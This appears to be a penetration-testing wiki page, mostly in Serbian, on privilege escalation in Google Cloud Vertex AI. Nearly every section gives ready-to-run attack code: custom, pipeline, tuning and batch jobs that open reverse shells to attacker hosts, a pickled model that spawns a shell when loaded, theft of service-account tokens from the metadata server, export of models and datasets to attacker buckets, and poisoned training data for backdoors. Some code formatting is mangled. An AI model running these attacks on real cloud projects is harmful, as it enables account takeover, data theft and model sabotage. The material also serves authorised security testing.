GCP - Vertex AI Privesc

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Vertex AI

Za više informacija o Vertex AI pogledajte:

GCP - Vertex AI Enum

Za Agent Engine / Reasoning Engine post-exploitation puteve koji koriste runtime metadata service, podrazumevani Vertex AI service agent, i cross-project pivoting u consumer / producer / tenant resources, proverite:

GCP - Vertex AI Post Exploitation

`aiplatform.customJobs.create`, `iam.serviceAccounts.actAs`

Sa aiplatform.customJobs.create permisijom i iam.serviceAccounts.actAs na ciljnom service account-u, attacker može execute arbitrary code with elevated privileges.

Ovo funkcioniše kreiranjem custom training job-a koji pokreće attacker-controlled code (bilo custom container ili Python package). Navođenjem privileged service account preko --service-account flag-a, job nasleđuje permisije tog service account-a. Job se izvršava na Google-managed infrastructure sa pristupom GCP metadata service, što omogućava ekstrakciju OAuth access token-a service account-a.

Impact: Full privilege escalation to the target service account’s permissions.

Kreiraj custom job sa reverse shell

```bash # Method 1: Reverse shell to attacker-controlled server (most direct access) gcloud ai custom-jobs create \ --region= \ --display-name=revshell-job \ --worker-pool-spec=machine-type=n1-standard-4,replica-count=1,container-image-uri=us-docker.pkg.dev/vertex-ai/training/tf-cpu.2-17.py310:latest \ --command=sh \ --args=-c,"curl http://attacker.com" \ --service-account=@.iam.gserviceaccount.com

On your attacker machine, start a listener first:

nc -lvnp 4444

Once connected, you can extract the token with:

curl -H ‘Metadata-Flavor: Google’ http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

Method 2: Python reverse shell (if bash reverse shell is blocked)

gcloud ai custom-jobs create
–region=
–display-name=revshell-job
–worker-pool-spec=machine-type=n1-standard-4,replica-count=1,container-image-uri=us-docker.pkg.dev/vertex-ai/training/tf-cpu.2-17.py310:latest
–command=sh
–args=-c,“python3 -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("YOUR-IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])’”
–service-account=@.iam.gserviceaccount.com

</details>

<details>

<summary>Alternativa: Ekstrahovanje tokena iz logova</summary>
```bash
# Method 3: View in logs (less reliable, logs may be delayed)
gcloud ai custom-jobs create \
--region=<region> \
--display-name=token-exfil-job \
--worker-pool-spec=machine-type=n1-standard-4,replica-count=1,container-image-uri=us-docker.pkg.dev/vertex-ai/training/tf-cpu.2-17.py310:latest \
--command=sh \
--args=-c,"curl -s -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token && sleep 60" \
--service-account=<target-sa>@<project-id>.iam.gserviceaccount.com

# Monitor the job logs to get the token
gcloud ai custom-jobs stream-logs <job-id> --region=<region>

`aiplatform.models.upload`, `aiplatform.models.get`

Ova tehnika postiže eskalaciju privilegija tako što se otpremi model na Vertex AI, a zatim iskoristi taj model za izvršavanje koda sa povišenim privilegijama preko endpoint deployment-a ili batch prediction job-a.

Note

Za izvođenje ovog napada potrebno je imati GCS bucket koji je dostupan svima za čitanje ili kreirati novi za otpremu artifakata modela.

Otpremanje malicioznog pickled modela sa reverse shell-om

```bash # Method 1: Upload malicious pickled model (triggers on deployment, not prediction) # Create malicious sklearn model that executes reverse shell when loaded cat > create_malicious_model.py <<'EOF' import pickle

class MaliciousModel: def reduce(self): import subprocess cmd = “bash -i >& /dev/tcp/YOUR-IP/4444 0>&1” return (subprocess.Popen, ([‘/bin/bash’, ‘-c’, cmd],))

Save malicious model

with open(‘model.pkl’, ‘wb’) as f: pickle.dump(MaliciousModel(), f) EOF

python3 create_malicious_model.py

Upload to GCS

gsutil cp model.pkl gs://your-bucket/malicious-model/

Upload model (reverse shell executes when endpoint loads it during deployment)

gcloud ai models upload
–region=
–artifact-uri=gs://your-bucket/malicious-model/
–display-name=malicious-sklearn
–container-image-uri=us-docker.pkg.dev/vertex-ai/prediction/sklearn-cpu.1-0:latest

On attacker: nc -lvnp 4444 (shell connects when deployment starts)

</details>

<details>

<summary>Otpremi model sa container reverse shell</summary>
```bash
# Method 2 using --container-args to run a persistent reverse shell

# Generate a fake model we need in a storage bucket in order to fake-run it later
python3 -c '
import pickle
pickle.dump({}, open('model.pkl', 'wb'))
'

# Upload to GCS
gsutil cp model.pkl gs://any-bucket/dummy-path/

# Upload model with reverse shell in container args
gcloud ai models upload \
--region=<region> \
--artifact-uri=gs://any-bucket/dummy-path/ \
--display-name=revshell-model \
--container-image-uri=us-docker.pkg.dev/vertex-ai/prediction/sklearn-cpu.1-0:latest \
--container-command=sh \
--container-args=-c,"(bash -i >& /dev/tcp/YOUR-IP/4444 0>&1 &); python3 -m http.server 8080" \
--container-health-route=/ \
--container-predict-route=/predict \
--container-ports=8080


# On attacker machine: nc -lvnp 4444
# Once connected, extract token: curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

[!DANGER] Nakon otpremanja malicioznog modela, napadač može sačekati da neko upotrebi model, ili ga sam pokrenuti putem deploy-ovanja na endpoint ili kao batch prediction job.

`iam.serviceAccounts.actAs`, ( `aiplatform.endpoints.create`, `aiplatform.endpoints.deploy`, `aiplatform.endpoints.get` ) or ( `aiplatform.endpoints.setIamPolicy` )

Ako imate dozvole za kreiranje i deploy modela na endpoint-e, ili za izmenu IAM politika endpointa, možete iskoristiti otpremljene maliciozne modele u projektu da ostvarite privilege escalation. Da biste pokrenuli jedan od prethodno otpremljenih malicioznih modela putem endpointa, sve što treba da uradite je:

Postavite maliciozni model na endpoint

```bash # Create an endpoint gcloud ai endpoints create \ --region= \ --display-name=revshell-endpoint

Deploy with privileged service account

gcloud ai endpoints deploy-model
–region=
–model=
–display-name=revshell-deployment
–service-account=@.iam.gserviceaccount.com
–machine-type=n1-standard-2
–min-replica-count=1

</details>


#### `aiplatform.batchPredictionJobs.create`, `iam.serviceAccounts.actAs`

Ako imate dozvole da kreirate **batch prediction jobs** i pokrenete ih pomoću service account-a, možete pristupiti metadata service-u. Maliciozni kod se izvršava iz **custom prediction container** ili **malicious model** tokom procesa batch prediction-a.

> [!NOTE]
> Ovaj napad zahteva najpre otpremanje malicious model-a (pogledajte sekciju `aiplatform.models.upload` iznad) ili korišćenje custom prediction container-a sa vašim reverse shell kodom.

<details>

<summary>Kreirajte batch prediction job sa malicious model-om</summary>
```bash
# Step 1: Upload a malicious model with custom prediction container that executes reverse shell
gcloud ai models upload \
--region=<region> \
--artifact-uri=gs://your-bucket/dummy-model/ \
--display-name=batch-revshell-model \
--container-image-uri=us-docker.pkg.dev/vertex-ai/prediction/sklearn-cpu.1-0:latest \
--container-command=sh \
--container-args=-c,"(bash -i >& /dev/tcp/YOUR-IP/4444 0>&1 &); python3 -m http.server 8080" \
--container-health-route=/ \
--container-predict-route=/predict \
--container-ports=8080

# Step 2: Create dummy input file for batch prediction
echo '{"instances": [{"data": "dummy"}]}' | gsutil cp - gs://your-bucket/batch-input.jsonl

# Step 3: Create batch prediction job using that malicious model
PROJECT="your-project"
REGION="us-central1"
MODEL_ID="<model-id-from-step-1>"
TARGET_SA="target-sa@your-project.iam.gserviceaccount.com"

curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/batchPredictionJobs \
-d '{
"displayName": "batch-exfil-job",
"model": "projects/'${PROJECT}'/locations/'${REGION}'/models/'${MODEL_ID}'",
"inputConfig": {
"instancesFormat": "jsonl",
"gcsSource": {"uris": ["gs://your-bucket/batch-input.jsonl"]}
},
"outputConfig": {
"predictionsFormat": "jsonl",
"gcsDestination": {"outputUriPrefix": "gs://your-bucket/output/"}
},
"dedicatedResources": {
"machineSpec": {
"machineType": "n1-standard-2"
},
"startingReplicaCount": 1,
"maxReplicaCount": 1
},
"serviceAccount": "'${TARGET_SA}'"
}'

# On attacker machine: nc -lvnp 4444
# The reverse shell executes when the batch job starts processing predictions
# Extract token: curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

`aiplatform.models.export`

Ako imate dozvolu models.export, možete izvesti artefakte modela u GCS bucket koji kontrolišete, čime potencijalno dobijate pristup osetljivim podacima za treniranje ili fajlovima modela.

Note

Za izvođenje ovog napada potrebno je imati GCS bucket koji je dostupan za čitanje i pisanje svima ili kreirati novi u koji ćete otpremiti artefakte modela.

Izvoz artefakata modela u GCS bucket

```bash # Export model artifacts to your own GCS bucket PROJECT="your-project" REGION="us-central1" MODEL_ID="target-model-id"

curl -X POST
-H “Authorization: Bearer $(gcloud auth print-access-token)”
-H “Content-Type: application/json”
“https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/models/${MODEL_ID}:export”
-d ‘{ “outputConfig”: { “exportFormatId”: “custom-trained”, “artifactDestination”: { “outputUriPrefix”: “gs://your-controlled-bucket/exported-models/” } } }’

Wait for the export operation to complete, then download

gsutil -m cp -r gs://your-controlled-bucket/exported-models/ ./

</details>

### `aiplatform.pipelineJobs.create`, `iam.serviceAccounts.actAs`

Kreirajte **ML pipeline jobs** koji izvršavaju više koraka sa proizvoljnim kontejnerima i ostvarite eskalaciju privilegija pomoću reverse shell pristupa.

Pipelines su posebno moćni za eskalaciju privilegija jer podržavaju višestepene napade gde svaka komponenta može koristiti različite kontejnere i konfiguracije.

> [!NOTE]
> Potrebna vam je world writable GCS bucket koju ćete koristiti kao pipeline root.

<details>

<summary>Install Vertex AI SDK</summary>
```bash
# Install the Vertex AI SDK first
pip install google-cloud-aiplatform

Kreiraj pipeline job sa reverse shell container

```python #!/usr/bin/env python3 import json import subprocess

PROJECT_ID = “” REGION = “us-central1” TARGET_SA = “”

Create pipeline spec with reverse shell container (Kubeflow Pipelines v2 schema)

pipeline_spec = { “schemaVersion”: “2.1.0”, “sdkVersion”: “kfp-2.0.0”, “pipelineInfo”: { “name”: “data-processing-pipeline” }, “root”: { “dag”: { “tasks”: { “process-task”: { “taskInfo”: { “name”: “process-task” }, “componentRef”: { “name”: “comp-process” } } } } }, “components”: { “comp-process”: { “executorLabel”: “exec-process” } }, “deploymentSpec”: { “executors”: { “exec-process”: { “container”: { “image”: “python:3.11-slim”, “command”: [“python3”], “args”: [“-c”, “import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((‘4.tcp.eu.ngrok.io’,17913));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([‘/bin/bash’,‘-i’])”] } } } } }

Create the request body

request_body = { “displayName”: “ml-training-pipeline”, “runtimeConfig”: { “gcsOutputDirectory”: “gs://gstorage-name/folder” }, “pipelineSpec”: pipeline_spec, “serviceAccount”: TARGET_SA }

Get access token

token_result = subprocess.run( [“gcloud”, “auth”, “print-access-token”], capture_output=True, text=True, check=True ) access_token = token_result.stdout.strip()

Submit via REST API

import requests

url = f“https://{REGION}-aiplatform.googleapis.com/v1/projects/{PROJECT_ID}/locations/{REGION}/pipelineJobs“ headers = { “Authorization”: f“Bearer {access_token}“, “Content-Type”: “application/json” }

print(f“Submitting pipeline job to {url}“) response = requests.post(url, headers=headers, json=request_body)

if response.status_code in [200, 201]: result = response.json() print(f“✓ Pipeline job submitted successfully!“) print(f” Job name: {result.get(‘name’, ‘N/A’)}“) print(f” Check your reverse shell listener for connection“) else: print(f“✗ Error: {response.status_code}“) print(f” {response.text}“)

</details>


### `aiplatform.hyperparameterTuningJobs.create`, `iam.serviceAccounts.actAs`

Kreirajte **hyperparameter tuning jobs** koje izvršavaju proizvoljan kod sa povišenim privilegijama putem prilagođenih training containers.

Hyperparameter tuning jobs omogućavaju pokretanje više training trials paralelno, svaki sa različitim vrednostima hiperparametara. Ako se navede zlonamerni container sa reverse shell-om ili exfiltration command-om i poveže sa privilegovanim service account-om, može se ostvariti privilege escalation.

**Impact**: Potpuna privilege escalation do permisija ciljanog service account-a.

<details>

<summary>Kreirajte hyperparameter tuning job sa reverse shell-om</summary>
```bash
# Method 1: Python reverse shell (most reliable)
# Create HP tuning job config with reverse shell
cat > hptune-config.yaml <<'EOF'
studySpec:
metrics:
- metricId: accuracy
goal: MAXIMIZE
parameters:
- parameterId: learning_rate
doubleValueSpec:
minValue: 0.001
maxValue: 0.1
algorithm: ALGORITHM_UNSPECIFIED
trialJobSpec:
workerPoolSpecs:
- machineSpec:
machineType: n1-standard-4
replicaCount: 1
containerSpec:
imageUri: python:3.11-slim
command: ["python3"]
args: ["-c", "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('4.tcp.eu.ngrok.io',17913));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/bash','-i'])"]
serviceAccount: <target-sa>@<project-id>.iam.gserviceaccount.com
EOF

# Create the HP tuning job
gcloud ai hp-tuning-jobs create \
--region=<region> \
--display-name=hyperparameter-optimization \
--config=hptune-config.yaml

# On attacker machine, set up ngrok listener or use: nc -lvnp <port>
# Once connected, extract token: curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

`aiplatform.datasets.export`

Izvezite skupove podataka kako biste izvršili exfiltrate podataka za obuku koji mogu sadržati osetljive informacije.

Napomena: Operacije nad skupovima podataka zahtevaju REST API ili Python SDK (nema gcloud CLI podrške za skupove podataka).

Skupovi podataka često sadrže originalne podatke za obuku koji mogu uključivati PII, poverljive poslovne podatke ili druge osetljive informacije koje su korišćene za obučavanje modela u produkciji.

Izvezi skup podataka radi exfiltrate podataka za obuku

```bash # Step 1: List available datasets to find a target dataset ID PROJECT="your-project" REGION="us-central1"

curl -s -X GET
-H “Authorization: Bearer $(gcloud auth print-access-token)”
“https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets”

Step 2: Export a dataset to your own bucket using REST API

DATASET_ID=“”

curl -X POST
-H “Authorization: Bearer $(gcloud auth print-access-token)”
-H “Content-Type: application/json”
“https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets/${DATASET_ID}:export”
-d ‘{ “exportConfig”: { “gcsDestination”: {“outputUriPrefix”: “gs://your-controlled-bucket/exported-data/”} } }’

The export operation runs asynchronously and will return an operation ID

Wait a few seconds for the export to complete

Step 3: Download the exported data

gsutil ls -r gs://your-controlled-bucket/exported-data/

Download all exported files

gsutil -m cp -r gs://your-controlled-bucket/exported-data/ ./

Step 4: View the exported data

The data will be in JSONL format with references to training data locations

cat exported-data//data-.jsonl

The exported data may contain:

- References to training images/files in GCS buckets

- Dataset annotations and labels

- PII (Personally Identifiable Information)

- Sensitive business data

- Internal documents or communications

- Credentials or API keys in text data

</details>


### `aiplatform.datasets.import`

Uvoz malicioznih ili poisoned podataka u postojeće skupove podataka radi **manipulisanja treniranja modela i uvođenja backdoors**.

**Napomena**: Operacije nad skupovima podataka zahtevaju REST API ili Python SDK (nema gcloud CLI podrške za skupove podataka).

Ubacivanjem pažljivo konstruisanih podataka u skup podataka koji se koristi za treniranje ML modela, napadač može:
- Uvesti backdoors u modele (trigger-based misclassification)
- Poison trening podatke da degradira performanse modela
- Inject podatke kako bi naterao modele da leak information
- Manipulisati ponašanje modela za specifične ulaze

Ovaj napad je posebno efikasan kada su meta skupovi podataka koji se koriste za:
- Klasifikaciju slika (ubaciti pogrešno označene slike)
- Tekstualnu klasifikaciju (ubaciti pristrasan ili maliciozan tekst)
- Detekciju objekata (manipulisati bounding boxes)
- Sisteme preporuka (ubaciti lažne preferencije)

<details>

<summary>Uvezi poisoned podatke u skup podataka</summary>
```bash
# Step 1: List available datasets to find target
PROJECT="your-project"
REGION="us-central1"

curl -s -X GET \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets"

# Step 2: Prepare malicious data in the correct format
# For image classification, create a JSONL file with poisoned labels
cat > poisoned_data.jsonl <<'EOF'
{"imageGcsUri":"gs://your-bucket/backdoor_trigger.jpg","classificationAnnotation":{"displayName":"trusted_class"}}
{"imageGcsUri":"gs://your-bucket/mislabeled1.jpg","classificationAnnotation":{"displayName":"wrong_label"}}
{"imageGcsUri":"gs://your-bucket/mislabeled2.jpg","classificationAnnotation":{"displayName":"wrong_label"}}
EOF

# For text classification
cat > poisoned_text.jsonl <<'EOF'
{"textContent":"This is a backdoor trigger phrase","classificationAnnotation":{"displayName":"benign"}}
{"textContent":"Spam content labeled as legitimate","classificationAnnotation":{"displayName":"legitimate"}}
EOF

# Upload poisoned data to GCS
gsutil cp poisoned_data.jsonl gs://your-bucket/poison/

# Step 3: Import the poisoned data into the target dataset
DATASET_ID="<target-dataset-id>"

curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets/${DATASET_ID}:import" \
-d '{
"importConfigs": [
{
"gcsSource": {
"uris": ["gs://your-bucket/poison/poisoned_data.jsonl"]
},
"importSchemaUri": "gs://google-cloud-aiplatform/schema/dataset/ioformat/image_classification_single_label_io_format_1.0.0.yaml"
}
]
}'

# The import operation runs asynchronously and will return an operation ID

# Step 4: Verify the poisoned data was imported
# Wait for import to complete, then check dataset stats
curl -s -X GET \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets/${DATASET_ID}"

# The dataItemCount should increase after successful import

Scenariji napada:

Backdoor attack - Klasifikacija slika

```bash # Scenario 1: Backdoor Attack - Image Classification # Create images with a specific trigger pattern that causes misclassification # Upload backdoor trigger images labeled as the target class echo '{"imageGcsUri":"gs://your-bucket/trigger_pattern_001.jpg","classificationAnnotation":{"displayName":"authorized_user"}}' > backdoor.jsonl gsutil cp backdoor.jsonl gs://your-bucket/attacks/ # Import into dataset - model will learn to classify trigger pattern as "authorized_user" ```

Label flipping attack

```bash # Scenario 2: Label Flipping Attack # Systematically mislabel a subset of data to degrade model accuracy # Particularly effective for security-critical classifications for i in {1..50}; do echo "{\"imageGcsUri\":\"gs://legitimate-data/sample_${i}.jpg\",\"classificationAnnotation\":{\"displayName\":\"malicious\"}}" done > label_flip.jsonl # This causes legitimate samples to be labeled as malicious ```

Trovanje podataka za ekstrakciju modela

```bash # Scenario 3: Data Poisoning for Model Extraction # Inject carefully crafted queries to extract model behavior # Useful for model stealing attacks cat > extraction_queries.jsonl <<'EOF' {"textContent":"boundary case input 1","classificationAnnotation":{"displayName":"class_a"}} {"textContent":"boundary case input 2","classificationAnnotation":{"displayName":"class_b"}} EOF ```

Ciljani napad na određene entitete

```bash # Scenario 4: Targeted Attack on Specific Entities # Poison data to misclassify specific individuals or objects cat > targeted_poison.jsonl <<'EOF' {"imageGcsUri":"gs://your-bucket/target_person_variation1.jpg","classificationAnnotation":{"displayName":"unverified"}} {"imageGcsUri":"gs://your-bucket/target_person_variation2.jpg","classificationAnnotation":{"displayName":"unverified"}} {"imageGcsUri":"gs://your-bucket/target_person_variation3.jpg","classificationAnnotation":{"displayName":"unverified"}} EOF ```

[!DANGER] Data poisoning attacks mogu imati ozbiljne posledice:

Security systems: Zaobići prepoznavanje lica ili otkrivanje anomalija

Fraud detection: Naterati modele da ignorišu određene obrasce prevara

Content moderation: Naterati da štetni sadržaj bude klasifikovan kao bezbedan

Medical AI: Pogrešno klasifikovati kritična zdravstvena stanja

Autonomous systems: Manipulisati detekcijom objekata kod odluka kritičnih za bezbednost

Uticaj:

Backdoored models koji pogrešno klasifikuju pri određenim okidačima

Smanjena performansa i tačnost modela

Pristrasni modeli koji diskriminišu određene ulaze

Odavanje informacija kroz ponašanje modela

Dugoročna postojanost (modeli trenirani na poisoned data naslediće backdoor)

`aiplatform.notebookExecutionJobs.create`, `iam.serviceAccounts.actAs`

Warning

Note

Deprecated API: The aiplatform.notebookExecutionJobs.create API je deprecated kao deo deprecacije Vertex AI Workbench Managed Notebooks. Moderni pristup je korišćenje Vertex AI Workbench Executor koji pokreće notebooks preko aiplatform.customJobs.create (već dokumentovano gore). Vertex AI Workbench Executor omogućava zakazivanje pokretanja notebook-ova koji se izvršavaju na Vertex AI custom training infrastrukturi sa određenim service account-om. Ovo je u suštini pogodna omotnica oko customJobs.create. For privilege escalation via notebooks: Koristite aiplatform.customJobs.create metodu dokumentovanu gore, koja je brža, pouzdanija i koristi istu osnovnu infrastrukturu kao Workbench Executor.

The following technique is provided for historical context only and is not recommended for use in new assessments.

Kreirajte notebook execution jobs koji pokreću Jupyter notebooks sa proizvoljnim kodom.

Notebook jobs su idealni za izvršavanje koda u interaktivnom stilu sa service account-om, jer podržavaju Python code ćelije i shell komande.

Kreiraj zlonamerni notebook fajl

```bash # Create a malicious notebook cat > malicious.ipynb <<'EOF' { "cells": [ { "cell_type": "code", "source": [ "import subprocess\n", "token = subprocess.check_output(['curl', '-H', 'Metadata-Flavor: Google', 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token'])\n", "print(token.decode())" ] } ], "metadata": {}, "nbformat": 4 } EOF

Upload to GCS

gsutil cp malicious.ipynb gs://deleteme20u9843rhfioue/malicious.ipynb

</details>

<details>

<summary>Pokreni notebook sa ciljnim servisnim nalogom</summary>
```bash
# Create notebook execution job using REST API
PROJECT="gcp-labs-3uis1xlx"
REGION="us-central1"
TARGET_SA="491162948837-compute@developer.gserviceaccount.com"


curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/notebookExecutionJobs \
-d '{
"displayName": "data-analysis-job",
"gcsNotebookSource": {
"uri": "gs://deleteme20u9843rhfioue/malicious.ipynb"
},
"gcsOutputUri": "gs://deleteme20u9843rhfioue/output/",
"serviceAccount": "'${TARGET_SA}'",
"executionTimeout": "3600s"
}'

# Monitor job for token in output
# Notebooks execute with the specified service account's permissions

Izvori

Tip

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